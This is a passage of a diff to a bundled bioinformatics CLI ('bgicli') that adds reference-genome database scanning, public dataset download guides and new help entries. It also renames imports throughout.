+ { regex: /clinvar.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14792
+ { regex: /gnomad.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14793
+ { regex: /mills.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14794
+ { regex: /1000G.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14795
+ { regex: /hapmap.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14796
+ // BED
14797
+ { regex: /\.(bed|bed\.gz)$/i, type: "bed", genome: "other" }
14798
+ ];
14799
+ var DIR_PATTERNS = [
14800
+ { regex: /star.*index|star_genome/i, type: "star_index", indicator: "Genome.sjdbInfo.txt" },
14801
+ { regex: /hisat2.*index/i, type: "hisat2_index", indicator: ".ht2" },
14802
+ { regex: /salmon.*index/i, type: "salmon_index", indicator: "info.json" },
14803
+ { regex: /kraken2?/i, type: "kraken2_db", indicator: "hash.k2d" },
14804
+ { regex: /diamond/i, type: "diamond_db", indicator: ".dmnd" },
14805
+ { regex: /blast_db|blastdb/i, type: "blast_db", indicator: ".nsq" }
14806
+ ];
14807
+ function defaultSearchRoots() {
14808
+ const home = (0, import_os3.homedir)();
14809
+ const roots = [
14810
+ "/data",
14811
+ "/ref",
14812
+ "/reference",
14813
+ "/genomes",
14814
+ "/databases",
14815
+ "/db",
14816
+ "/lustre",
14817
+ "/GPFS",
14818
+ "/scratch",
14819
+ "/work",
14820
+ "/shared",
14821
+ (0, import_path4.join)(home, "databases"),
14822
+ (0, import_path4.join)(home, "data"),
14823
+ (0, import_path4.join)(home, "reference"),
14824
+ (0, import_path4.join)(home, "ref"),
14825
+ process.cwd()
14826
+ ];
14827
+ return roots.filter((r2) => (0, import_fs4.existsSync)(r2));
14828
+ }
14829
+ function detectGenomeFromPath(path) {
14830
+ const p2 = path.toLowerCase();
14831
+ if (p2.includes("hg38") || p2.includes("grch38")) return "hg38";
14832
+ if (p2.includes("hg19") || p2.includes("grch37") || p2.includes("b37")) return "hg19";
14833
+ if (p2.includes("mm10") || p2.includes("grcm38")) return "mm10";
14834
+ if (p2.includes("mm39") || p2.includes("grcm39")) return "mm39";
14835
+ if (p2.includes("rn7")) return "rn7";
14836
+ if (p2.includes("dm6")) return "dm6";
14837
+ if (p2.includes("danrer")) return "danRer11";
14838
+ return "other";
14839
+ }
14840
+ function labelFor(type, genome, name) {
14841
+ const typeLabels = {
14842
+ fasta: "\u53C2\u8003\u57FA\u56E0\u7EC4 FASTA",
14843
+ gtf: "\u57FA\u56E0\u6CE8\u91CA GTF",
14844
+ gff3: "\u57FA\u56E0\u6CE8\u91CA GFF3",
14845
+ vcf: "VCF \u53D8\u5F02\u6570\u636E\u5E93",
14846
+ bed: "BED \u533A\u57DF\u6587\u4EF6",
14847
+ star_index: "STAR \u6BD4\u5BF9\u7D22\u5F15",
14848
+ hisat2_index: "HISAT2 \u6BD4\u5BF9\u7D22\u5F15",
14849
+ bwa_index: "BWA \u6BD4\u5BF9\u7D22\u5F15",
14850
+ bowtie2_index: "Bowtie2 \u6BD4\u5BF9\u7D22\u5F15",
14851
+ salmon_index: "Salmon \u5B9A\u91CF\u7D22\u5F15",
14852
+ kraken2_db: "Kraken2 \u5B8F\u57FA\u56E0\u7EC4\u5E93",
14853
+ diamond_db: "DIAMOND \u86CB\u767D\u5E93",
14854
+ blast_db: "BLAST \u6570\u636E\u5E93",
14855
+ other: "\u6570\u636E\u5E93"
14856
+ };
14857
+ const genomeLabel = genome !== "other" ? ` (${genome})` : "";
14858
+ return `${typeLabels[type]}${genomeLabel} \u2014 ${name}`;
14859
+ }
14860
+ function scanForDatabases(extraRoots = []) {
14861
+ const roots = [...defaultSearchRoots(), ...extraRoots.map((r2) => (0, import_path4.resolve)(r2))];
14862
+ const found = [];
14863
+ const seen = /* @__PURE__ */ new Set();
14864
+ let skippedDirs = 0;
14865
+ function walk(dir, depth) {
14866
+ if (depth > 4) return;
14867
+ let entries;
14868
+ try {
14869
+ entries = (0, import_fs4.readdirSync)(dir);
14870
+ } catch {
14871
+ skippedDirs++;
14872
+ return;
14873
+ }
14874
+ for (const name of entries) {
14875
+ if (name.startsWith(".")) continue;
14876
+ const fullPath = (0, import_path4.join)(dir, name);
14877
+ let stat;
14878
+ try {
14879
+ stat = (0, import_fs4.statSync)(fullPath);
14880
+ } catch {
14881
+ continue;
14882
+ }
14883
+ if (stat.isDirectory()) {
14884
+ for (const dp of DIR_PATTERNS) {
14885
+ if (dp.regex.test(name)) {
14886
+ if (!dp.indicator || (0, import_fs4.readdirSync)(fullPath).some((f2) => f2.endsWith(dp.indicator))) {
14887
+ const genome = detectGenomeFromPath(fullPath);
14888
+ const id = slugify(`${genome}-${dp.type}-${(0, import_path4.basename)(fullPath)}`);
14889
+ if (!seen.has(fullPath)) {
14890
+ seen.add(fullPath);
14891
+ found.push({
14892
+ id,
14893
+ genome,
14894
+ type: dp.type,
14895
+ path: fullPath,
14896
+ label: labelFor(dp.type, genome, name),
14897
+ addedAt: (/* @__PURE__ */ new Date()).toISOString(),
14898
+ source: "scan"
14899
+ });
14900
+ }
14901
+ break;
14902
+ }
14903
+ }
14904
+ }
14905
+ if (!DIR_PATTERNS.some((dp) => dp.regex.test(name))) {
14906
+ try {
14907
+ const sub = (0, import_fs4.readdirSync)(fullPath);
14908
+ if (sub.some((f2) => f2.endsWith(".bwt")) && sub.some((f2) => f2.endsWith(".ann"))) {
14909
+ const genome = detectGenomeFromPath(fullPath);
14910
+ const id = slugify(`${genome}-bwa_index-${(0, import_path4.basename)(fullPath)}`);
14911
+ if (!seen.has(fullPath)) {
14912
+ seen.add(fullPath);
14913
+ found.push({ id, genome, type: "bwa_index", path: fullPath, label: labelFor("bwa_index", genome, name), addedAt: (/* @__PURE__ */ new Date()).toISOString(), source: "scan" });
14914
+ }
14915
+ }
14916
+ } catch {
14917
+ }
14918
+ walk(fullPath, depth + 1);
14919
+ }
14920
+ } else if (stat.isFile()) {
14921
+ for (const fp of FILE_PATTERNS) {
14922
+ if (fp.regex.test(name)) {
14923
+ const genome = fp.genome === "other" ? detectGenomeFromPath(fullPath) : fp.genome;
14924
+ const id = slugify(`${genome}-${fp.type}-${name.replace(/\.gz$/, "").replace(/\.[^.]+$/, "")}`);
14925
+ if (!seen.has(fullPath)) {
14926
+ seen.add(fullPath);
14927
+ found.push({
14928
+ id,
14929
+ genome,
14930
+ type: fp.type,
14931
+ path: fullPath,
14932
+ label: labelFor(fp.type, genome, name),
14933
+ sizeBytes: stat.size,
14934
+ addedAt: (/* @__PURE__ */ new Date()).toISOString(),
14935
+ source: "scan"
14936
+ });
14937
+ }
14938
+ break;
14939
+ }
14940
+ }
14941
+ }
14942
+ }
14943
+ }
14944
+ for (const root of new Set(roots)) {
14945
+ walk(root, 0);
14946
+ }
14947
+ return { found, skippedDirs };
14948
+ }
14949
+ function buildDbPromptSection(registry) {
14950
+ const entries = Object.values(registry.databases);
14951
+ if (entries.length === 0) {
14952
+ return "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09";
14953
+ }
14954
+ const byGenome = {};
14955
+ for (const e2 of entries) {
14956
+ (byGenome[e2.genome] ??= []).push(e2);
14957
+ }
14958
+ const lines = [];
14959
+ for (const [genome, dbs] of Object.entries(byGenome).sort()) {
14960
+ lines.push(`### ${genome}`);
14961
+ for (const db of dbs.sort((a2, b2) => a2.type.localeCompare(b2.type))) {
14962
+ const exists = (0, import_fs4.existsSync)(db.path) ? "" : " \u26A0(\u8DEF\u5F84\u4E0D\u5B58\u5728)";
14963
+ const size = db.sizeBytes ? ` [${(db.sizeBytes / 1e9).toFixed(1)}GB]` : "";
14964
+ lines.push(`- **${db.label}** (\`${db.type}\`): \`${db.path}\`${size}${exists}`);
14965
+ }
14966
+ lines.push("");
14967
+ }
14968
+ return lines.join("\n").trim();
14969
+ }
14970
+ var DOWNLOAD_GUIDES = {
14971
+ "hg38-fasta": {
14972
+ label: "GRCh38 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14973
+ cmds: [
14974
+ "wget https://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/hg38.fa.gz",
14975
+ "gunzip hg38.fa.gz && samtools faidx hg38.fa"
14976
+ ]
14977
+ },
14978
+ "hg19-fasta": {
14979
+ label: "GRCh37/hg19 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14980
+ cmds: [
14981
+ "wget https://hgdownload.soe.ucsc.edu/goldenPath/hg19/bigZips/hg19.fa.gz",
14982
+ "gunzip hg19.fa.gz && samtools faidx hg19.fa"
14983
+ ]
14984
+ },
14985
+ "mm10-fasta": {
14986
+ label: "GRCm38/mm10 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14987
+ cmds: ["wget https://hgdownload.soe.ucsc.edu/goldenPath/mm10/bigZips/mm10.fa.gz"]
14988
+ },
14989
+ "hg38-gtf": {
14990
+ label: "Ensembl hg38 \u57FA\u56E0\u6CE8\u91CA GTF",
14991
+ cmds: ["wget https://ftp.ensembl.org/pub/release-110/gtf/homo_sapiens/Homo_sapiens.GRCh38.110.gtf.gz"]
14992
+ },
14993
+ "hg38-dbsnp": {
14994
+ label: "dbSNP b156 VCF (hg38)",
14995
+ cmds: ["wget https://ftp.ncbi.nlm.nih.gov/snp/latest_release/VCF/GCF_000001405.40.gz"]
14996
+ },
14997
+ "hg38-clinvar": {
14998
+ label: "ClinVar VCF (hg38)",
14999
+ cmds: ["wget https://ftp.ncbi.nlm.nih.gov/pub/clinvar/vcf_GRCh38/clinvar.vcf.gz"]
15000
+ },
15001
+ "hg38-gnomad": {
15002
+ label: "gnomAD v4 sites VCF (hg38)",
15003
+ cmds: ["# See https://gnomad.broadinstitute.org/downloads for latest URLs"]
15004
+ }
15005
+ };
15006
+
14541
15007
  // src/skillRouter.ts
14542
15008
  var SKILL_CATEGORIES = {
14543
15009
  "\u8F6C\u5F55\u7EC4": { label: "\u8F6C\u5F55\u7EC4\u5B66 (Transcriptomics)", icon: "\u{1F9EC}" },
@@ -15285,17 +15751,17 @@ function routeSkill(message) {
15285
15751
  }
15286
15752
 
15287
15753
  // src/sessions.ts
15288
- var import_fs4 = require("fs");
15289
- var import_path4 = require("path");
15290
- var SESSIONS_DIR = (0, import_path4.join)(BGI_DIR, "sessions");
15291
- var CHECKPOINTS_DIR = (0, import_path4.join)(BGI_DIR, "checkpoints");
15754
+ var import_fs5 = require("fs");
15755
+ var import_path5 = require("path");
15756
+ var SESSIONS_DIR = (0, import_path5.join)(BGI_DIR, "sessions");
15757
+ var CHECKPOINTS_DIR = (0, import_path5.join)(BGI_DIR, "checkpoints");
15292
15758
  function ensureSessionDirs() {
15293
15759
  for (const d2 of [SESSIONS_DIR, CHECKPOINTS_DIR]) {
15294
- if (!(0, import_fs4.existsSync)(d2)) (0, import_fs4.mkdirSync)(d2, { recursive: true });
15760
+ if (!(0, import_fs5.existsSync)(d2)) (0, import_fs5.mkdirSync)(d2, { recursive: true });
15295
15761
  }
15296
15762
  }
15297
15763
  function sessionPath(id) {
15298
- return (0, import_path4.join)(SESSIONS_DIR, `${id}.json`);
15764
+ return (0, import_path5.join)(SESSIONS_DIR, `${id}.json`);
15299
15765
  }
15300
15766
  function newSessionId() {
15301
15767
  const now = /* @__PURE__ */ new Date();
@@ -15319,25 +15785,25 @@ function saveSession(id, name, messages, skills, createdAt) {
15319
15785
  preview,
15320
15786
  messages
15321
15787
  };
15322
- (0, import_fs4.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
15788
+ (0, import_fs5.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
15323
15789
  }
15324
15790
  function loadSession(id) {
15325
15791
  ensureSessionDirs();
15326
15792
  const p2 = sessionPath(id);
15327
- if (!(0, import_fs4.existsSync)(p2)) return null;
15793
+ if (!(0, import_fs5.existsSync)(p2)) return null;
15328
15794
  try {
15329
- return JSON.parse((0, import_fs4.readFileSync)(p2, "utf8"));
15795
+ return JSON.parse((0, import_fs5.readFileSync)(p2, "utf8"));
15330
15796
  } catch {
15331
15797
  return null;
15332
15798
  }
15333
15799
  }
15334
15800
  function listSessions() {
15335
15801
  ensureSessionDirs();
15336
- const files = (0, import_fs4.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
15802
+ const files = (0, import_fs5.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
15337
15803
  const metas = [];
15338
15804
  for (const f2 of files) {
15339
15805
  try {
15340
- const raw = JSON.parse((0, import_fs4.readFileSync)((0, import_path4.join)(SESSIONS_DIR, f2), "utf8"));
15806
+ const raw = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(SESSIONS_DIR, f2), "utf8"));
15341
15807
  metas.push({
15342
15808
  id: raw.id,
15343
15809
  name: raw.name,
@@ -15354,8 +15820,8 @@ function listSessions() {
15354
15820
  }
15355
15821
  function deleteSession(id) {
15356
15822
  const p2 = sessionPath(id);
15357
- if (!(0, import_fs4.existsSync)(p2)) return false;
15358
- (0, import_fs4.unlinkSync)(p2);
15823
+ if (!(0, import_fs5.existsSync)(p2)) return false;
15824
+ (0, import_fs5.unlinkSync)(p2);
15359
15825
  return true;
15360
15826
  }
15361
15827
  function getLastSession() {
@@ -15363,7 +15829,7 @@ function getLastSession() {
15363
15829
  return all[0] ?? null;
15364
15830
  }
15365
15831
  function checkpointPath(id) {
15366
- return (0, import_path4.join)(CHECKPOINTS_DIR, `${id}.json`);
15832
+ return (0, import_path5.join)(CHECKPOINTS_DIR, `${id}.json`);
15367
15833
  }
15368
15834
  function saveCheckpoint(sessionId, label, messages, skills) {
15369
15835
  ensureSessionDirs();
@@ -15377,16 +15843,16 @@ function saveCheckpoint(sessionId, label, messages, skills) {
15377
15843
  messages,
15378
15844
  skills
15379
15845
  };
15380
- (0, import_fs4.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
15846
+ (0, import_fs5.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
15381
15847
  return id;
15382
15848
  }
15383
15849
  function listCheckpoints(sessionId) {
15384
15850
  ensureSessionDirs();
15385
- const files = (0, import_fs4.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
15851
+ const files = (0, import_fs5.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
15386
15852
  const cps = [];
15387
15853
  for (const f2 of files) {
15388
15854
  try {
15389
- const cp = JSON.parse((0, import_fs4.readFileSync)((0, import_path4.join)(CHECKPOINTS_DIR, f2), "utf8"));
15855
+ const cp = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(CHECKPOINTS_DIR, f2), "utf8"));
15390
15856
  if (!sessionId || cp.sessionId === sessionId) cps.push(cp);
15391
15857
  } catch {
15392
15858
  }
@@ -15395,8 +15861,8 @@ function listCheckpoints(sessionId) {
15395
15861
  }
15396
15862
  function deleteCheckpoint(id) {
15397
15863
  const p2 = checkpointPath(id);
15398
- if (!(0, import_fs4.existsSync)(p2)) return false;
15399
- (0, import_fs4.unlinkSync)(p2);
15864
+ if (!(0, import_fs5.existsSync)(p2)) return false;
15865
+ (0, import_fs5.unlinkSync)(p2);
15400
15866
  return true;
15401
15867
  }
15402
15868
  function clearCheckpoints(sessionId) {
@@ -15409,8 +15875,8 @@ function clearCheckpoints(sessionId) {
15409
15875
  }
15410
15876
 
15411
15877
  // src/index.ts
15412
- var import_fs6 = require("fs");
15413
- var VERSION2 = "2.2.14";
15878
+ var import_fs7 = require("fs");
15879
+ var VERSION2 = "2.2.15";
15414
15880
  var SKILLHUB_HUBS = {
15415
15881
  bgi: { label: "BGI\u5185\u7F51", apiBase: "https://clawhub.ai", backend: "clawhub" },
15416
15882
  clawhub: { label: "clawhub.ai", apiBase: "https://clawhub.ai", backend: "clawhub" },
@@ -15418,13 +15884,13 @@ var SKILLHUB_HUBS = {
15418
15884
  };
15419
15885
  function httpGetJson(url) {
15420
15886
  const mod = url.startsWith("https") ? import_https2.get : require("http").get;
15421
- return new Promise((resolve3, reject) => {
15887
+ return new Promise((resolve4, reject) => {
15422
15888
  const req = mod(url, { headers: { "User-Agent": `bgicli/${VERSION2}`, Accept: "application/json" } }, (res) => {
15423
15889
  const chunks = [];
15424
15890
  res.on("data", (c2) => chunks.push(c2));
15425
15891
  res.on("end", () => {
15426
15892
  try {
15427
- resolve3(JSON.parse(Buffer.concat(chunks).toString()));
15893
+ resolve4(JSON.parse(Buffer.concat(chunks).toString()));
15428
15894
  } catch (e2) {
15429
15895
  reject(new Error(`JSON parse error from ${url}`));
15430
15896
  }
@@ -15465,7 +15931,7 @@ async function searchSkillHub(query, hub, limit2 = 10) {
15465
15931
  }
15466
15932
  }
15467
15933
  async function downloadSkillMd(slug) {
15468
- const data = await new Promise((resolve3, reject) => {
15934
+ const data = await new Promise((resolve4, reject) => {
15469
15935
  const req = (0, import_https2.get)(
15470
15936
  `https://clawhub.ai/api/v1/skills/${encodeURIComponent(slug)}/file?path=SKILL.md`,
15471
15937
  { headers: { "User-Agent": `bgicli/${VERSION2}` } },
@@ -15477,7 +15943,7 @@ async function downloadSkillMd(slug) {
15477
15943
  }
15478
15944
  const chunks = [];
15479
15945
  res.on("data", (c2) => chunks.push(c2));
15480
- res.on("end", () => resolve3(Buffer.concat(chunks).toString()));
15946
+ res.on("end", () => resolve4(Buffer.concat(chunks).toString()));
15481
15947
  }
15482
15948
  );
15483
15949
  req.setTimeout(15e3, () => {
@@ -15499,7 +15965,7 @@ function isNewer(latest, current) {
15499
15965
  async function checkAndAutoUpdate() {
15500
15966
  let latest;
15501
15967
  try {
15502
- latest = await new Promise((resolve3, reject) => {
15968
+ latest = await new Promise((resolve4, reject) => {
15503
15969
  const req = (0, import_https2.get)(
15504
15970
  "https://registry.npmjs.org/@bgicli/bgicli/latest",
15505
15971
  { headers: { "User-Agent": `bgicli/${VERSION2}` } },
@@ -15508,7 +15974,7 @@ async function checkAndAutoUpdate() {
15508
15974
  res.on("data", (c2) => chunks.push(c2));
15509
15975
  res.on("end", () => {
15510
15976
  try {
15511
- resolve3(JSON.parse(Buffer.concat(chunks).toString()).version);
15977
+ resolve4(JSON.parse(Buffer.concat(chunks).toString()).version);
15512
15978
  } catch {
15513
15979
  reject(new Error("parse"));
15514
15980
  }
@@ -15530,10 +15996,10 @@ async function checkAndAutoUpdate() {
15530
15996
  \u{1F504} \u53D1\u73B0\u65B0\u7248\u672C v${latest}\uFF08\u5F53\u524D v${VERSION2}\uFF09\uFF0C\u6B63\u5728\u81EA\u52A8\u66F4\u65B0...
15531
15997
  `)
15532
15998
  );
15533
- const ok = await new Promise((resolve3) => {
15999
+ const ok = await new Promise((resolve4) => {
15534
16000
  (0, import_child_process2.exec)(
15535
16001
  `npm install -g @bgicli/bgicli@${latest} --registry https://registry.npmjs.org`,
15536
- (error) => resolve3(!error)
16002
+ (error) => resolve4(!error)
15537
16003
  );
15538
16004
  });
15539
16005
  if (ok) {
@@ -15552,21 +16018,21 @@ var SESSION_CTX = {
15552
16018
  wdirSnapshot: null
15553
16019
  };
15554
16020
  function installBundledData() {
15555
- const bundledData = (0, import_path5.join)(__dirname, "..", "data");
15556
- if (!(0, import_fs5.existsSync)(bundledData)) return;
16021
+ const bundledData = (0, import_path6.join)(__dirname, "..", "data");
16022
+ if (!(0, import_fs6.existsSync)(bundledData)) return;
15557
16023
  ensureDirs();
15558
16024
  const targets = [
15559
- { src: (0, import_path5.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
15560
- { src: (0, import_path5.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
15561
- { src: (0, import_path5.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
16025
+ { src: (0, import_path6.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
16026
+ { src: (0, import_path6.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
16027
+ { src: (0, import_path6.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
15562
16028
  ];
15563
16029
  let installed = false;
15564
16030
  for (const { src, dest, name } of targets) {
15565
- if (!(0, import_fs5.existsSync)(src)) continue;
15566
- const isEmpty = !(0, import_fs5.existsSync)(dest) || (0, import_fs5.readdirSync)(dest).length === 0;
16031
+ if (!(0, import_fs6.existsSync)(src)) continue;
16032
+ const isEmpty = !(0, import_fs6.existsSync)(dest) || (0, import_fs6.readdirSync)(dest).length === 0;
15567
16033
  if (isEmpty) {
15568
- (0, import_fs5.mkdirSync)(dest, { recursive: true });
15569
- (0, import_fs5.cpSync)(src, dest, { recursive: true });
16034
+ (0, import_fs6.mkdirSync)(dest, { recursive: true });
16035
+ (0, import_fs6.cpSync)(src, dest, { recursive: true });
15570
16036
  if (!installed) {
15571
16037
  process.stdout.write(source_default.dim("\u6B63\u5728\u521D\u59CB\u5316\u5185\u7F6E\u6570\u636E...\n"));
15572
16038
  installed = true;
@@ -15634,9 +16100,19 @@ function printHelp() {
15634
16100
  console.log(` ${source_default.cyan("/run")} <skill-id> \u4EA4\u4E92\u5F0F\u53C2\u6570\u5411\u5BFC\uFF0C\u81EA\u52A8\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C`);
15635
16101
  console.log(` ${source_default.cyan("/check-env")} [id] \u68C0\u6D4B Skill \u6240\u9700 R/Python \u5305\u662F\u5426\u5DF2\u5B89\u88C5`);
15636
16102
  console.log(` ${source_default.cyan("/search")} <\u5173\u952E\u8BCD> \u5728 SkillHub \u641C\u7D22\u5E76\u4E0B\u8F7D\u6280\u80FD ${source_default.dim("[--hub=bgi|clawhub|tencent]")}`);
15637
- console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill`);
16103
+ console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill\uFF08\u542B\u5B89\u5168\u626B\u63CF\uFF09`);
15638
16104
  console.log(` ${source_default.cyan("/uninstall")} <id> \u5378\u8F7D\u5DF2\u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill`);
15639
16105
  console.log();
16106
+ console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6570\u636E\u5E93\u7BA1\u7406 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
16107
+ console.log(` ${source_default.cyan("/db list")} \u5217\u51FA\u5DF2\u6CE8\u518C\u53C2\u8003\u6570\u636E\u5E93`);
16108
+ console.log(` ${source_default.cyan("/db add")} <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C\u6570\u636E\u5E93\u8DEF\u5F84\uFF08\u957F\u671F\u4FDD\u5B58\uFF09`);
16109
+ console.log(` ${source_default.cyan("/db scan")} [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u67E5\u627E\u5DF2\u77E5\u6570\u636E\u5E93`);
16110
+ console.log(` ${source_default.cyan("/db rm")} <id> \u5220\u9664\u6570\u636E\u5E93\u8BB0\u5F55`);
16111
+ console.log(` ${source_default.cyan("/db download")} [\u540D\u79F0] \u663E\u793A\u6807\u51C6\u6570\u636E\u5E93\u4E0B\u8F7D\u547D\u4EE4`);
16112
+ console.log();
16113
+ console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5B89\u5168\u626B\u63CF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
16114
+ console.log(` ${source_default.cyan("/scan")} <\u547D\u4EE4> \u626B\u63CF\u547D\u4EE4\u5B89\u5168\u98CE\u9669 ${source_default.dim("[CRITICAL/HIGH/MEDIUM/LOW]")}`);
16115
+ console.log();
15640
16116
  console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6587\u4EF6 & \u76EE\u5F55 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
15641
16117
  console.log(` ${source_default.cyan("/cd")} <\u8DEF\u5F84> \u66F4\u6539\u5DE5\u4F5C\u76EE\u5F55`);
15642
16118
  console.log(` ${source_default.cyan("/cwd")} \u663E\u793A\u5F53\u524D\u5DE5\u4F5C\u76EE\u5F55`);
@@ -15736,10 +16212,10 @@ async function firstRunIfNeeded(rl) {
15736
16212
  function collectAllSkills() {
15737
16213
  const entries = [];
15738
16214
  const addFrom = (dir, tag) => {
15739
- if (!(0, import_fs5.existsSync)(dir)) return;
15740
- (0, import_fs5.readdirSync)(dir).forEach((f2) => {
16215
+ if (!(0, import_fs6.existsSync)(dir)) return;
16216
+ (0, import_fs6.readdirSync)(dir).forEach((f2) => {
15741
16217
  try {
15742
- if ((0, import_fs5.statSync)((0, import_path5.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
16218
+ if ((0, import_fs6.statSync)((0, import_path6.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
15743
16219
  } catch {
15744
16220
  }
15745
16221
  });
@@ -15779,9 +16255,9 @@ async function llmRecommendSkills(userQuery) {
15779
16255
  const all = collectAllSkills();
15780
16256
  const catalogLines = [];
15781
16257
  for (const entry of all) {
15782
- const skillPath = (0, import_path5.join)(entry.dir, entry.id, "SKILL.md");
15783
- if (!(0, import_fs5.existsSync)(skillPath)) continue;
15784
- const raw = (0, import_fs5.readFileSync)(skillPath, "utf8");
16258
+ const skillPath = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
16259
+ if (!(0, import_fs6.existsSync)(skillPath)) continue;
16260
+ const raw = (0, import_fs6.readFileSync)(skillPath, "utf8");
15785
16261
  const { name, shortDesc } = parseSkillMeta(raw);
15786
16262
  const displayName = name || entry.id;
15787
16263
  const desc = shortDesc ? ` \u2014 ${shortDesc}` : "";
@@ -15840,12 +16316,12 @@ async function injectSkill(id, history, injectedSkills, rl, skipConfirm = false)
15840
16316
  console.log(source_default.dim("\u4F7F\u7528 /sk <\u5173\u952E\u8BCD> \u641C\u7D22"));
15841
16317
  return false;
15842
16318
  }
15843
- const skillPath = (0, import_path5.join)(match.dir, match.id, "SKILL.md");
15844
- if (!(0, import_fs5.existsSync)(skillPath)) {
16319
+ const skillPath = (0, import_path6.join)(match.dir, match.id, "SKILL.md");
16320
+ if (!(0, import_fs6.existsSync)(skillPath)) {
15845
16321
  console.log(source_default.red(`${match.id} \u7F3A\u5C11 SKILL.md`));
15846
16322
  return false;
15847
16323
  }
15848
- const content = (0, import_fs5.readFileSync)(skillPath, "utf8");
16324
+ const content = (0, import_fs6.readFileSync)(skillPath, "utf8");
15849
16325
  const { name, shortDesc } = parseSkillMeta(content);
15850
16326
  const displayName = name || match.id;
15851
16327
  if (!skipConfirm) {
@@ -15895,9 +16371,9 @@ var FILE_SIZE_LIMIT = 100 * 1024;
15895
16371
  var DIR_FILE_LIMIT = 20;
15896
16372
  function listDirFiles(dirPath) {
15897
16373
  try {
15898
- return (0, import_fs6.readdirSync)(dirPath).map((f2) => (0, import_path5.join)(dirPath, f2)).filter((p2) => {
16374
+ return (0, import_fs7.readdirSync)(dirPath).map((f2) => (0, import_path6.join)(dirPath, f2)).filter((p2) => {
15899
16375
  try {
15900
- return (0, import_fs6.statSync)(p2).isFile();
16376
+ return (0, import_fs7.statSync)(p2).isFile();
15901
16377
  } catch {
15902
16378
  return false;
15903
16379
  }
@@ -15908,7 +16384,7 @@ function listDirFiles(dirPath) {
15908
16384
  }
15909
16385
  function expandSingleFile(resolved) {
15910
16386
  try {
15911
- const stat = (0, import_fs6.statSync)(resolved);
16387
+ const stat = (0, import_fs7.statSync)(resolved);
15912
16388
  if (!stat.isFile()) return `[${resolved}: \u4E0D\u662F\u6587\u4EF6]`;
15913
16389
  if (stat.size > FILE_SIZE_LIMIT) {
15914
16390
  return `
@@ -15918,7 +16394,7 @@ function expandSingleFile(resolved) {
15918
16394
  \`\`\`
15919
16395
  `;
15920
16396
  }
15921
- const content = (0, import_fs5.readFileSync)(resolved, "utf8");
16397
+ const content = (0, import_fs6.readFileSync)(resolved, "utf8");
15922
16398
  const lines = content.split("\n");
15923
16399
  const preview = lines.length > 150 ? lines.slice(0, 150).join("\n") + `
15924
16400
  ... (\u5171 ${lines.length} \u884C\uFF0C\u5DF2\u622A\u65AD)` : content;
@@ -15935,10 +16411,10 @@ ${preview}
15935
16411
  function expandFileRefs(input) {
15936
16412
